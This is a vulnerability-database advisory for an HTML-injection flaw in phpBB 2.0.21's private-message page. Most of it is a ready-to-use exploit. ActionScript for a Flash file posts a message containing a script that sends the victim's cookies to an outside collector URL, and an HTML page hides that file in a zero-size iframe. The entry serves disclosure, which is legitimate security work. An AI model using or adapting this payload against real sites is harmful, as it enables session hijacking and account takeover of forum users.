phpBB 2.0.21 Privmsg.PHP HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

phpBB 2.0.21 HTML Injection Vulnerability from Privmsg.PH


                                                source: http://www.securityfocus.com/bid/22001/info

phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

Version 2.0.21 is vulnerable; other versions may also be affected.

Create a Shockwave Flash file with this code:

var username:String = &#34;user_that_doesnt_exist&#34;;
var subject:String = &#34;Xss Exploitation&#34;;
var message:String = &#34;&lt;/textarea&gt;&#60;script&#62;document.location= &#39;http://site.com/cookie.php?c=&#39; + document.cookie &#60;/script&#62;&#34;;
var folder:String = &#34;inbox&#34;;
var mode:String = &#34;post&#34;;
var post:String = &#34;Submit&#34;;
getURL(&#34;http://www.example.com/phpBB2/privmsg.php&#34;, &#34;_self&#34;, &#34;POST&#34;);

Put it into a web page:

&#60;html&#62;
&#60;head&#62;
&#60;title&#62;Put a title here&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;p&#62;Put some text here&#60;p&#62;
&#60;iframe src=&#34;http://www.example.com/exploit.swf&#34; frameborder=&#34;0&#34; height=&#34;0&#34; width=&#34;0&#34;&#62;&#60;/iframe&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1